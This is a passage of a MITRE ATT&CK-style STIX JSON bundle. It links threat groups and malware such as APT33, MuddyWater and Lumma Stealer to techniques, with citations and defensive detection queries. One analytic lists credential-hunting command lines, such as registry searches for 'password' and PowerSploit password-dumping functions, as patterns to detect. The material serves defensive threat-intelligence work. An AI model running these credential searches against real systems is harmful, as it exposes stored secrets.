                    "description": "Lin, M. et al. (2024, February 27). Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN Exploitation and Persistence Attempts. Retrieved March 1, 2024.",
                    "url": "https://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence"
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            "description": "[LITTLELAMB.WOOLTEA](https://attack.mitre.org/software/S1121) can function as a stand-alone backdoor communicating over the `/tmp/clientsDownload.sock` socket.(Citation: Mandiant Cutting Edge Part 3 February 2024)",
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                    "description": "CISA. (2022, September 23). AA22-264A Iranian State Actors Conduct Cyber Operations Against the Government of Albania. Retrieved August 6, 2024.",
                    "url": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-264a"
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                {
                    "source_name": "Microsoft Albanian Government Attacks September 2022",
                    "description": "MSTIC. (2022, September 8). Microsoft investigates Iranian attacks against the Albanian government. Retrieved August 6, 2024.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2022/09/08/microsoft-investigates-iranian-attacks-against-the-albanian-government/"
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            "description": "During [HomeLand Justice](https://attack.mitre.org/campaigns/C0038), threat actors executed the Advanced Port Scanner tool on compromised systems.(Citation: CISA Iran Albanian Attacks September 2022)(Citation: Microsoft Albanian Government Attacks September 2022)",
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                    "description": "Microsoft Threat Intelligence Center, Microsoft Detection and Response Team, Microsoft 365 Defender Research Team . (2022, August 24). MagicWeb: NOBELIUM\u2019s post-compromise trick to authenticate as anyone. Retrieved September 28, 2022.",
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                    "source_name": "Mandiant Azure AD Backdoors",
                    "description": "Mike Burns. (2020, September 30). Detecting Microsoft 365 and Azure Active Directory Backdoors. Retrieved September 28, 2022.",
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            "description": "Monitor the hybrid identity solution in use for the loading of unauthorized DLLs. For example, monitor all PTA agent servers for the creation of DLLs as well as the loading of DLLs into the `AzureADConnectAuthenticationAgentService` process.(Citation: Mandiant Azure AD Backdoors) If AD FS is in use, monitor the AD FS server for the creation of DLLs as well as the loading of unrecognized or unsigned DLLs into the `Microsoft.IdentityServer.Servicehost` application.(Citation: MagicWeb)",
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            "description": "Monitor for any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.",
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                    "description": "Trend Micro. (2012). The Taidoor Campaign. Retrieved November 12, 2014.",
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            "description": "[Taidoor](https://attack.mitre.org/software/S0011) has used HTTP GET and POST requests for C2.(Citation: TrendMicro Taidoor)",
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                    "description": "ASERT Team. (2018, April 04). Innaput Actors Utilize Remote Access Trojan Since 2016, Presumably Targeting Victim Files. Retrieved July 9, 2018.",
                    "url": "https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/"
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            "description": "[InnaputRAT](https://attack.mitre.org/software/S0259) gathers volume drive information and system information.(Citation: ASERT InnaputRAT April 2018)",
            "relationship_type": "uses",
            "source_ref": "malware--c8b6cc43-ce61-42ae-87f3-a5f10526f952",
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                    "source_name": "Cyble Sidewinder September 2020",
                    "description": "Cyble. (2020, September 26). SideWinder APT Targets with futuristic Tactics and Techniques. Retrieved January 29, 2021.",
                    "url": "https://cybleinc.com/2020/09/26/sidewinder-apt-targets-with-futuristic-tactics-and-techniques/"
                },
                {
                    "source_name": "ATT Sidewinder January 2021",
                    "description": "Hegel, T. (2021, January 13). A Global Perspective of the SideWinder APT. Retrieved January 27, 2021.",
                    "url": "https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf"
                },
                {
                    "source_name": "Rewterz Sidewinder APT April 2020",
                    "description": "Rewterz. (2020, April 20). Sidewinder APT Group Campaign Analysis. Retrieved January 29, 2021.",
                    "url": "https://www.rewterz.com/threats/sidewinder-apt-group-campaign-analysis"
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            "description": "[Sidewinder](https://attack.mitre.org/groups/G0121) has used base64 encoding and ECDH-P256 encryption for payloads.(Citation: ATT Sidewinder January 2021)(Citation: Rewterz Sidewinder APT April 2020)(Citation: Cyble Sidewinder September 2020)",
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                {
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                    "description": "Falcone, R. and Wartell, R.. (2015, July 27). Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved January 22, 2016.",
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            "description": "[SHOTPUT](https://attack.mitre.org/software/S0063) has a command to obtain a directory listing.(Citation: Palo Alto CVE-2015-3113 July 2015)",
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                {
                    "source_name": "Github PowerShell Empire",
                    "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.",
                    "url": "https://github.com/PowerShellEmpire/Empire"
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            "description": "[Empire](https://attack.mitre.org/software/S0363) can ZIP directories on the target system.(Citation: Github PowerShell Empire)",
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            "description": "Monitor for unusual outbound connections to cloud storage domains, processes sending significantly more data than they receive, or high-bandwidth file transfers to cloud services.\n\nAnalytic 1 - Detecting Large Data Transfers to Cloud Storage\n\n<code> (EventCode=3 OR source=\"zeek_conn.log\" OR source=\"firewall_logs\")\n| where (dest_ip IN (known_cloud_services) AND bytes_out > 5000000)\n| stats count, sum(bytes_out) as total_bytes by _time, host, process, dest_ip\n| where total_bytes > 50000000\n| eval risk_score=case(\n    total_bytes > 100000000, 9,\n    total_bytes > 50000000, 8\n)\n| where risk_score >= 8\n| table host, dest_ip, total_bytes, risk_score</code>",
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            "revoked": false,
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                {
                    "source_name": "PWC Yellow Liderc 2023",
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                    "description": "Hassold, Crane. (2018, March 26). Silent Librarian: More to the Story of the Iranian Mabna Institute Indictment. Retrieved February 3, 2021.",
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                    "description": "Or Chechik, Tom Fakterman, Daniel Frank & Assaf Dahan. (2023, November 6). Agonizing Serpens (Aka Agrius) Targeting the Israeli Higher Education and Tech Sectors. Retrieved May 22, 2024.",
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                    "description": "Pany, D. & Hanley, C. (2023, May 3). Cloudy with a Chance of Bad Logs: Cloud Platform Log Configurations to Consider in Investigations. Retrieved October 16, 2023.",
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                    "description": "Trustwave SpiderLabs. (2020, June 22). Pillowmint: FIN7\u2019s Monkey Thief . Retrieved July 27, 2020.",
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                    "url": "https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html"
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                {
                    "source_name": "Talos PoetRAT October 2020",
                    "description": "Mercer, W. Rascagneres, P. Ventura, V. (2020, October 6). PoetRAT: Malware targeting public and private sector in Azerbaijan evolves . Retrieved April 9, 2021.",
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            "modified": "2025-04-28T15:42:37.277Z",
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            "description": "[Lumma Stealer](https://attack.mitre.org/software/S1213) has detected antivirus processes using commands such as \u201ctasklist\u201d and \u201cfindstr.\u201d(Citation: Qualys LummaStealer 2024)",
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                    "description": "Secureworks CTU. (n.d.). IRON HUNTER. Retrieved February 22, 2022.",
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                    "source_name": "Symantec Shuckworm January 2022",
                    "description": "Symantec. (2022, January 31). Shuckworm Continues Cyber-Espionage Attacks Against Ukraine. Retrieved February 17, 2022.",
                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine"
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                {
                    "source_name": "Unit 42 Gamaredon February 2022",
                    "description": "Unit 42. (2022, February 3). Russia\u2019s Gamaredon aka Primitive Bear APT Group Actively Targeting Ukraine. Retrieved February 21, 2022.",
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            "description": "[Pteranodon](https://attack.mitre.org/software/S0147) can download and execute additional files.(Citation: Palo Alto Gamaredon Feb 2017)(Citation: Symantec Shuckworm January 2022)(Citation: Unit 42 Gamaredon February 2022)",
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                    "description": "Kohler, A. and Lopez, C. (2024, April 30). Malware: Cuckoo Behaves Like Cross Between Infostealer and Spyware. Retrieved August 20, 2024.",
                    "url": "https://www.kandji.io/blog/malware-cuckoo-infostealer-spyware"
                },
                {
                    "source_name": "SentinelOne Cuckoo Stealer May 2024",
                    "description": "Stokes, P. (2024, May 9). macOS Cuckoo Stealer | Ensuring Detection and Defense as New Samples Rapidly Emerge. Retrieved August 20, 2024.",
                    "url": "https://www.sentinelone.com/blog/macos-cuckoo-stealer-ensuring-detection-and-defense-as-new-samples-rapidly-emerge/"
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            "description": "\n[Cuckoo Stealer](https://attack.mitre.org/software/S1153) can create and populate property list (plist) files to enable execution.(Citation: Kandji Cuckoo April 2024)(Citation: SentinelOne Cuckoo Stealer May 2024)",
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                    "description": "UCF. (n.d.). Unauthorized accounts must not have the Create symbolic links user right.. Retrieved December 18, 2017.",
                    "url": "https://www.stigviewer.com/stig/windows_server_2008_r2_member_server/2015-06-25/finding/V-26482"
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                    "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021.",
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            "description": "[APT29](https://attack.mitre.org/groups/G0016) can create new users through Azure AD.(Citation: MSTIC Nobelium Oct 2021)",
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                    "description": "Vrabie, V. (2021, April 23). NAIKON \u2013 Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021.",
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                    "description": "Jessica Haworth. (2022, February 16). MFA fatigue attacks: Users tricked into allowing device access due to overload of push notifications. Retrieved March 31, 2022.",
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            "description": "[Pupy](https://attack.mitre.org/software/S0192) can user PowerView to execute \u201cnet user\u201d commands and create domain accounts.(Citation: GitHub Pupy)",
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                {
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                    "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy:  New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.",
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                    "description": "Kizhakkinan, D., et al. (2016, May 11). Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data Attacks. Retrieved February 12, 2018.",
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            "description": "[APT38](https://attack.mitre.org/groups/G0082) has used a command-line tunneler, NACHOCHEESE, to give them shell access to a victim\u2019s machine.(Citation: FireEye APT38 Oct 2018) Additionally, [APT38](https://attack.mitre.org/groups/G0082) has used batch scripts.(Citation: 1 - appv) ",
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                    "description": "Joey Chen, Cisco Talos. (2025, February 27). Lotus Blossom espionage group targets multiple industries with different versions of Sagerunex and hacking tools. Retrieved March 15, 2025.",
                    "url": "https://blog.talosintelligence.com/lotus-blossom-espionage-group/"
                },
                {
                    "source_name": "Symantec Bilbug 2022",
                    "description": "Symntec Threat Hunter Team. (2022, November 12). Billbug: State-sponsored Actor Targets Cert Authority, Government Agencies in Multiple Asian Countries. Retrieved March 15, 2025.",
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                    "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage"
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                    "source_name": "FireEye APT33 Guardrail",
                    "description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html"
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            "description": "[APT33](https://attack.mitre.org/groups/G0064) has used a variety of publicly available tools like [LaZagne](https://attack.mitre.org/software/S0349) to gather credentials.(Citation: Symantec Elfin Mar 2019)(Citation: FireEye APT33 Guardrail)",
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                    "description": "Jur\u010dacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.",
                    "url": "https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/"
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            "description": "[LunarWeb](https://attack.mitre.org/software/S1141) can identify shared resources in compromised environments.(Citation: ESET Turla Lunar toolset May 2024)",
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                    "description": "Koessel, Sean. Adair, Steven. Lancaster, Tom. (2024, November 22). The Nearest Neighbor Attack: How A Russian APT Weaponized Nearby Wi-Fi Networks for Covert Access. Retrieved February 25, 2025.",
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                    "source_name": "DOJ GRU Charges 2018",
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            "description": "[APT19](https://attack.mitre.org/groups/G0073) configured its payload to inject into the rundll32.exe.(Citation: FireEye APT19)",
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                    "description": "Hasherezade. (2021, April 6). A deep dive into Saint Bot, a new downloader. Retrieved June 9, 2022.",
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            "description": "[Saint Bot](https://attack.mitre.org/software/S1018) has used HTTP for C2 communications.(Citation: Malwarebytes Saint Bot April 2021)",
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                    "description": "Walter, J. (2022, July 21). LockBit 3.0 Update | Unpicking the Ransomware\u2019s Latest Anti-Analysis and Evasion Techniques. Retrieved February 5, 2025.",
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                    "description": "Kazem, M. (2019, November 25). Trojan:W32/Lokibot. Retrieved May 15, 2020.",
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                    "description": "Terefos, A. (2020, November 18). TA505: A Brief History of Their Time. Retrieved July 14, 2022.",
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            "relationship_type": "uses",
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                    "description": "Carvey, H.. (2014, September). Where You AT?: Indicators of Lateral Movement Using at.exe on Windows 7 Systems. Retrieved November 27, 2019.",
                    "url": "https://www.secureworks.com/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems"
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                {
                    "source_name": "Kifarunix - Task Scheduling in Linux",
                    "description": "Koromicha. (2019, September 7). Scheduling tasks using at command in Linux. Retrieved December 3, 2019.",
                    "url": "https://kifarunix.com/scheduling-tasks-using-at-command-in-linux/"
                },
                {
                    "source_name": "Powersploit",
                    "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.",
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                    "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021.",
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            "description": "[Sibot](https://attack.mitre.org/software/S0589) has downloaded a DLL to the <code>C:\\windows\\system32\\drivers\\</code> folder and renamed it with a <code>.sys</code> extension.(Citation: MSTIC NOBELIUM Mar 2021)",
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            "revoked": false,
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                    "description": "Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.",
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            "description": "[BUSHWALK](https://attack.mitre.org/software/S1118) is a web shell that has the ability to execute arbitrary commands or write files.(Citation: Mandiant Cutting Edge Part 2 January 2024)",
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                    "description": "F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.",
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                    "description": "Vishwajeet Kumar, Qualys. (2024, October 20). Unmasking Lumma Stealer: Analyzing Deceptive Tactics with Fake CAPTCHA. Retrieved March 22, 2025.",
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            "description": "[Lumma Stealer](https://attack.mitre.org/software/S1213) has used process hollowing leveraging a legitimate program such as \u201cBitLockerToGo.exe\u201d to inject a malicious payload.(Citation: Qualys LummaStealer 2024)",
            "relationship_type": "uses",
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                    "source_name": "FireEye MuddyWater Mar 2018",
                    "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html"
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                {
                    "source_name": "Talos MuddyWater May 2019",
                    "description": "Adamitis, D. et al. (2019, May 20). Recent MuddyWater-associated BlackWater campaign shows signs of new anti-detection techniques. Retrieved June 5, 2019.",
                    "url": "https://blog.talosintelligence.com/2019/05/recent-muddywater-associated-blackwater.html"
                },
                {
                    "source_name": "Anomali Static Kitten February 2021",
                    "description": "Mele, G. et al. (2021, February 10). Probable Iranian Cyber Actors, Static Kitten, Conducting Cyberespionage Campaign Targeting UAE and Kuwait Government Agencies. Retrieved March 17, 2021.",
                    "url": "https://www.anomali.com/blog/probable-iranian-cyber-actors-static-kitten-conducting-cyberespionage-campaign-targeting-uae-and-kuwait-government-agencies"
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            "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has disguised malicious executables and used filenames and Registry key names associated with Windows Defender.(Citation: FireEye MuddyWater Mar 2018)(Citation: Talos MuddyWater May 2019)(Citation: Anomali Static Kitten February 2021)",
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                    "source_name": "IBM ITG07 June 2019",
                    "description": "McMillen, D. Sperry, C. (2019, June 14). Observations of ITG07 Cyber Operations. Retrieved May 17, 2021.",
                    "url": "https://securityintelligence.com/posts/observations-of-itg07-cyber-operations/"
                },
                {
                    "source_name": "BitDefender Chafer May 2020",
                    "description": "Rusu, B. (2020, May 21). Iranian Chafer APT Targeted Air Transportation and Government in Kuwait and Saudi Arabia. Retrieved May 22, 2020.",
                    "url": "https://www.bitdefender.com/blog/labs/iranian-chafer-apt-targeted-air-transportation-and-government-in-kuwait-and-saudi-arabia/"
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            "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) can disable the system's local proxy settings.(Citation: Trend Micro Muddy Water March 2021)",
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                    "source_name": "Talos ZxShell Oct 2014",
                    "description": "Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019.",
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            "description": "[Silent Librarian](https://attack.mitre.org/groups/G0122) has exfiltrated entire mailboxes from compromised accounts.(Citation: DOJ Iran Indictments March 2018)",
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                    "source_name": "S2W Racoon 2022",
                    "description": "S2W TALON. (2022, June 16). Raccoon Stealer is Back with a New Version. Retrieved August 1, 2024.",
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                    "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.",
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                    "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020.",
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            "description": "[DarkWatchman](https://attack.mitre.org/software/S0673) can execute PowerShell commands and has used PowerShell to execute a keylogger.(Citation: Prevailion DarkWatchman 2021)",
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                    "source_name": "Cadet Blizzard emerges as novel threat actor",
                    "description": "Microsoft Threat Intelligence. (2023, June 14). Cadet Blizzard emerges as a novel and distinct Russian threat actor. Retrieved July 10, 2023.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/"
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                    "source_name": "CISA GRU29155 2024",
                    "description": "US Cybersecurity & Infrastructure Security Agency et al. (2024, September 5). Russian Military Cyber Actors Target U.S. and Global Critical Infrastructure. Retrieved September 6, 2024.",
                    "url": "https://www.cisa.gov/sites/default/files/2024-09/aa24-249a-russian-military-cyber-actors-target-us-and-global-critical-infrastructure.pdf"
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                    "description": "Raggi, Michael. (2024, May 22). IOC Extinction? China-Nexus Cyber Espionage Actors Use ORB Networks to Raise Cost on Defenders. Retrieved July 8, 2024.",
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            "description": "[APT5](https://attack.mitre.org/groups/G1023) has acquired a network of compromised systems \u2013 specifically an ORB (operational relay box) network \u2013 for follow on activities.(Citation: ORB Mandiant)  ",
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                    "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.",
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            "modified": "2025-04-28T15:45:19.311Z",
            "description": "[Proton](https://attack.mitre.org/software/S0279) uses VNC to connect into systems.(Citation: objsee mac malware 2017)",
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            "modified": "2025-04-16T22:11:06.958Z",
            "description": "Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.\n\nAnalytic 1 - Unusual network communication patterns.\n\n<code> index=network sourcetype=\"stream:tcp\" dest_port=389 NOT [| inputlookup known_dc_ip_addresses | fields ip] </code>",
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            "id": "relationship--441bd844-93d8-4b57-b353-de1ea85a26d0",
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                {
                    "source_name": "ESET OilRig Downloaders DEC 2023",
                    "description": "Hromcova, Z. and Burgher, A. (2023, December 14). OilRig\u2019s persistent attacks using cloud service-powered downloaders. Retrieved November 26, 2024.",
                    "url": "https://www.welivesecurity.com/en/eset-research/oilrig-persistent-attacks-cloud-service-powered-downloaders/"
                },
                {
                    "source_name": "ESET OilRig Campaigns Sep 2023",
                    "description": "Hromcova, Z. and Burgher, A. (2023, September 21). OilRig\u2019s Outer Space and Juicy Mix: Same ol\u2019 rig, new drill pipes. Retrieved November 21, 2024.",
                    "url": "https://www.welivesecurity.com/en/eset-research/oilrigs-outer-space-juicy-mix-same-ol-rig-new-drill-pipes/"
                }
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            "modified": "2025-04-16T22:11:07.188Z",
            "description": "[SampleCheck5000](https://attack.mitre.org/software/S1168) can use the Microsoft Office Exchange Web Services API to access an actor-controlled account and retrieve C2 commands and payloads placed in Draft messages.(Citation: ESET OilRig Campaigns Sep 2023)(Citation: ESET OilRig Downloaders DEC 2023)",
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                    "description": "Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022.",
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            "description": "[OutSteel](https://attack.mitre.org/software/S1017) can collect information from a compromised host.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )",
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                    "source_name": "Cisco IOS Software Integrity Assurance - TACACS",
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                    "description": "Klijnsma, Y. (2018, January 23). Espionage Campaign Leverages Spear Phishing, RATs Against Turkish Defense Contractors. Retrieved November 6, 2018.",
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            "description": "[SpicyOmelette](https://attack.mitre.org/software/S0646) can identify the system name of a compromised host.(Citation: Secureworks GOLD KINGSWOOD September 2018)",
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                {
                    "source_name": "PWC Cloud Hopper April 2017",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.",
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                    "source_name": "Symantec Cicada November 2020",
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                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage"
                },
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                    "source_name": "District Court of NY APT10 Indictment December 2018",
                    "description": "US District Court Southern District of New York. (2018, December 17). United States v. Zhu Hua Indictment. Retrieved December 17, 2020.",
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            "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used valid accounts including shared between Managed Service Providers and clients to move between the two environments.(Citation: PWC Cloud Hopper April 2017)(Citation: Symantec Cicada November 2020)(Citation: District Court of NY APT10 Indictment December 2018)(Citation: Securelist APT10 March 2021)",
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            "description": "Monitor newly executed processes for applications that can be used to query the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives.\n\nNote: Pseudocode Event IDs are for Sysmon (Event ID 1 - process create) and Windows Security Log (Event ID 4688 - a new process has been created). The Analytic looks for command-line instances of searching the Windows Registry for insecurely stored credentials. This can be accomplished using the query functionality of the [Reg](https://attack.mitre.org/software/S0075) system utility, by looking for keys and values that contain strings such as \u201cpassword\u201d. In addition, adversaries may use toolkits such as\u00a0[PowerSploit](https://attack.mitre.org/software/S0194)  in order to dump credentials from various applications such as IIS. Accordingly, this analytic looks for invocations of reg.exe in this capacity as well as that of several PowerSploit modules with similar functionality.\n\nAnalytic 1 - Credentials in Files & Registry\n\n<code>(source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"WinEventLog:Security\" EventCode=\"4688\")  \nCommandLine=\"*reg* query HKLM /f password /t REG_SZ /s*\" OR\nCommandLine=\"reg* query HKCU /f password /t REG_SZ /s\" OR\nCommandLine=\"*Get-UnattendedInstallFile*\" OR\nCommandLine=\"*Get-Webconfig\" OR\nCommandLine=\"*Get-ApplicationHost*\" OR\nCommandLine=\"*Get-SiteListPassword*\" OR\nCommandLine=\"*Get-CachedGPPPassword*\" OR\nCommandLine=\"*Get-RegistryAutoLogon*\" </code>\n\nAnalytic 2 - New processes with parameters indicating credential searches.\n\n<code> (index=security sourcetype=\"WinEventLog:Security\" EventCode=4688 CommandLine=\"*reg query* /f password /t REG_SZ /s*\") OR\n(index=sysmon sourcetype=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=1 CommandLine=\"*reg query* /f password /t REG_SZ /s*\")</code>",
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                {
                    "source_name": "Korean FSI TA505 2020",
                    "description": "Financial Security Institute. (2020, February 28). Profiling of TA505 Threat Group That Continues to Attack the Financial Sector. Retrieved July 14, 2022.",
                    "url": "https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1382.do?page=1&column=&search=&searchSDate=&searchEDate=&bbsDataCategory="
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            "description": "[FlawedAmmyy](https://attack.mitre.org/software/S0381) has established persistence via the `HKCU\\SOFTWARE\\microsoft\\windows\\currentversion\\run` registry key.(Citation: Korean FSI TA505 2020)",
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                {
                    "source_name": "Hunt Sea Turtle 2024",
                    "description": "Hunt & Hackett Research Team. (2024, January 5). Turkish espionage campaigns in the Netherlands. Retrieved November 20, 2024.",
                    "url": "https://www.huntandhackett.com/blog/turkish-espionage-campaigns"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:11:10.162Z",
            "description": "[Sea Turtle](https://attack.mitre.org/groups/G1041) collected email archives from victim environments.(Citation: Hunt Sea Turtle 2024)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--56a05d27-4d47-418a-b330-781c5614f202",
            "target_ref": "attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--44356d36-d119-4274-8c93-9e0bd50f60ed",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "Microsoft Process Creation Flags May 2018",
                    "description": "Schofield, M. & Satran, M. (2018, May 30). Process Creation Flags. Retrieved June 4, 2019.",
                    "url": "https://docs.microsoft.com/windows/desktop/ProcThread/process-creation-flags"
                },
                {
                    "source_name": "Secuirtyinbits Ataware3 May 2019",
                    "description": "Secuirtyinbits . (2019, May 14). Parent PID Spoofing (Stage 2) Ataware Ransomware Part 3. Retrieved June 6, 2019.",
                    "url": "https://www.securityinbits.com/malware-analysis/parent-pid-spoofing-stage-2-ataware-ransomware-part-3"
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            ],
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            "modified": "2025-04-16T22:11:10.419Z",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--4436ace7-a47d-4d18-afa1-4454432fba66",
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            ],
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            "target_ref": "attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
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            "id": "relationship--4438ba64-0cd2-46e9-8a67-c685bf9b404c",
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                {
                    "source_name": "AlienVault Sykipot 2011",
                    "description": "Blasco, J. (2011, December 12). Another Sykipot sample likely targeting US federal agencies. Retrieved March 28, 2016.",
                    "url": "https://www.alienvault.com/open-threat-exchange/blog/another-sykipot-sample-likely-targeting-us-federal-agencies"
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            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-28T15:45:21.685Z",
            "description": "[Sykipot](https://attack.mitre.org/software/S0018) may gather a list of running processes by running <code>tasklist /v</code>.(Citation: AlienVault Sykipot 2011)",
            "relationship_type": "uses",
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            "x_mitre_deprecated": false,
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        },
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                {
                    "source_name": "FOX-IT May 2016 Mofang",
                    "description": "Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020.",
                    "url": "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf"
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            ],
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            ],
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            "description": "[ShimRat](https://attack.mitre.org/software/S0444) has hijacked the cryptbase.dll within migwiz.exe to escalate privileges. This prevented the User Access Control window from appearing.(Citation: FOX-IT May 2016 Mofang)",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
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            "spec_version": "2.1",
            "id": "relationship--443ee76b-8fd4-4485-bdbb-4a562f348be0",
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                {
                    "source_name": "IBM MegaCortex",
                    "description": "Del Fierro, C. Kessem, L.. (2020, January 8). From Mega to Giga: Cross-Version Comparison of Top MegaCortex Modifications. Retrieved February 15, 2021.",
                    "url": "https://securityintelligence.com/posts/from-mega-to-giga-cross-version-comparison-of-top-megacortex-modifications/"
                }
            ],
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T15:45:22.067Z",
            "description": "[MegaCortex](https://attack.mitre.org/software/S0576) has used code signing certificates issued to fake companies to bypass security controls.(Citation: IBM MegaCortex)",
            "relationship_type": "uses",
            "source_ref": "malware--909617c3-6d87-4330-8f32-bd3af38c3b92",
            "target_ref": "attack-pattern--e7cbc1de-1f79-48ee-abfd-da1241c65a15",
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            "x_mitre_deprecated": false,
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            "id": "relationship--44426f05-25fc-4b81-956a-a6db04fc1704",
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            "revoked": false,
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                {
                    "source_name": "ESET OilRig Campaigns Sep 2023",
                    "description": "Hromcova, Z. and Burgher, A. (2023, September 21). OilRig\u2019s Outer Space and Juicy Mix: Same ol\u2019 rig, new drill pipes. Retrieved November 21, 2024.",
                    "url": "https://www.welivesecurity.com/en/eset-research/oilrigs-outer-space-juicy-mix-same-ol-rig-new-drill-pipes/"
                }
            ],
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            ],
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            "description": "During [Juicy Mix](https://attack.mitre.org/campaigns/C0044), [OilRig](https://attack.mitre.org/groups/G0049) used VBS droppers to schedule tasks for persistence.(Citation: ESET OilRig Campaigns Sep 2023)",
            "relationship_type": "uses",
            "source_ref": "campaign--7ab2f1a1-26af-4204-ad84-d640fde391da",
            "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
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            "id": "relationship--44446a21-affe-4935-ba17-94e4cb521a25",
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            "modified": "2025-04-28T15:45:22.333Z",
            "description": "Monitor for changes made to Windows Registry keys and/or values that may forge credential materials that can be used to gain access to web applications or Internet services.",
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            "source_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170",
            "target_ref": "attack-pattern--457c7820-d331-465a-915e-42f85500ccc4",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
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            "spec_version": "2.1",
            "id": "relationship--44468587-67b5-4c44-8c2b-ed2b4769f055",
            "created": "2023-03-17T15:46:21.132Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
